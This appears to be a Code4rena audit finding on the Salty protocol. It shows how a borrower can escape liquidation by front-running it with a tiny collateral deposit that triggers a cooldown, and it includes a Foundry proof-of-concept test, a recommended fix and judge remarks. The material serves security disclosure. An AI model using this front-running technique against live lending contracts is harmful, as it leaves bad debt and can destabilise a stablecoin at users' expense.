Platform: Code4rena
Start Date: 16/01/2024
Pot Size: $80,000 USDC
Total HM: 37
Participants: 178
Period: 14 days
Judge: Picodes
Total Solo HM: 4
Id: 320
League: ETH
Rank: 170/178
Findings: 1
Award: $0.78
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xbepresent
Also found by: 00xSEV, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xRobocop, 0xanmol, 0xlemon, 0xpiken, Arz, Audinarey, Auditwolf, Aymen0909, Banditx0x, CaeraDenoir, DanielArmstrong, Draiakoo, HALITUS, Infect3d, J4X, Jorgect, Kalyan-Singh, KingNFT, Krace, PENGUN, Toshii, Udsen, ayden, b0g0, c0pp3rscr3w3r, developerjordy, djxploit, erosjohn, holydevoti0n, iamandreiski, israeladelaja, juancito, klau5, lanrebayode77, memforvik, mussucal, n0kto, novodelta, pkqs90, solmaxis69, stackachu, twcctop, zhaojie, zhaojohnson
0.7809 USDC - $0.78
https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L140 https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L104-L111
Users can escape liquidation by front-running the liquidation transaction and adding very little collateral.
When trying to liquidate a user we decrease his shares and in that CollateralAndLiquidity::_decreaseUserShare
function we have a cooldown argument that is set to true
in the liquidateUser
function. This means that a user has to wait a default of 1 hour before being able to do other actions in that contract. This can be exploited by the user:
Add this test in 2024-01-salty\src\stable\tests\CollateralAndLiquidity.t.sol
Run COVERAGE="yes" NETWORK="sep" forge test --match-test testEscapingLiquidation -vvv --rpc-url (your rpc url)
function testEscapingLiquidation() public { // BTC price is $40,000 // ETH price is $2,000 vm.startPrank(DEPLOYER); forcedPriceFeed.setBTCPrice(40000 ether); forcedPriceFeed.setETHPrice(2000 ether); vm.stopPrank(); // The first user that deposited (not important it is just to keep enough liquidity after liquidation) vm.prank(charlie); collateralAndLiquidity.depositCollateralAndIncreaseShare(1 * 10 ** 8, 20 ether, 0, block.timestamp, false); // Alice deposits 1WBTC and 20ETH because the ratio is 1:20 // And then she borrows the max amount and is 200% overcollateralized // Alice deposited a total of $80k collateral and borrowed $40k vm.startPrank(alice); collateralAndLiquidity.depositCollateralAndIncreaseShare(1 * 10 ** 8, 20 ether, 0, block.timestamp, false); uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice); collateralAndLiquidity.borrowUSDS(maxUSDS); vm.stopPrank(); vm.warp(block.timestamp + 60 * 60 + 1); // Can be used to test liquidation by reducing BTC and ETH price. // Original collateral ratio is 200% with a minimum collateral ratio of 110%. // So dropping the prices by 46% should allow positions to be liquidated and still // ensure that the collateral is above water and able to be liquidated successfully. // Now 1WBTC is worth $21,600 1WETH = $1,080 // Alice's collateral is now worth $43,200 and she has $40k borrowed // This leaves Alice 108% overcollateralized which is below the threshold for liquidation(110%) vm.startPrank(DEPLOYER); forcedPriceFeed.setBTCPrice((forcedPriceFeed.getPriceBTC() * 54) / 100); forcedPriceFeed.setETHPrice((forcedPriceFeed.getPriceETH() * 54) / 100); vm.stopPrank(); // Someone tries to liquidate Alice but she sees the transaction in the mempool and front-runs it vm.prank(alice); // Deposit just above the Dust amount // 0.00000101 This is the amount of WBTC we deposit which is worth 0.021816$ and WETH is worth even less // For approximately 2 cents Alice escapes liquidation for 1 hour collateralAndLiquidity.depositCollateralAndIncreaseShare(101, 20 * 101, 0, block.timestamp, false); // Now the liquidator transaction goes through but reverts because of the cooldown vm.prank(bob); vm.expectRevert("Must wait for the cooldown to expire"); collateralAndLiquidity.liquidateUser(alice); }
In this example we see that a user was able to escape liquidation just for approximately 0.02$. After 1 hour he can do the same and continue that until he decides it is no longer worth it.
Leaves users unpunished for keeping a position that is below the required threshold. Potentially a lot of bad debt can be left in the contract leading to the depeg of the USDS stablecoin.
Manual Review, VS Code, Foundry
In the liquidateUser
function when calling _decreaseUserShare
change the useCooldown
argument from true
to false
. This will now enable liquidators to do the liquidation process regardless of any user actions done prior to this one.
Timing
#0 - c4-judge
2024-02-02T11:10:43Z
Picodes marked the issue as duplicate of #312
#1 - c4-judge
2024-02-17T18:50:05Z
Picodes marked the issue as satisfactory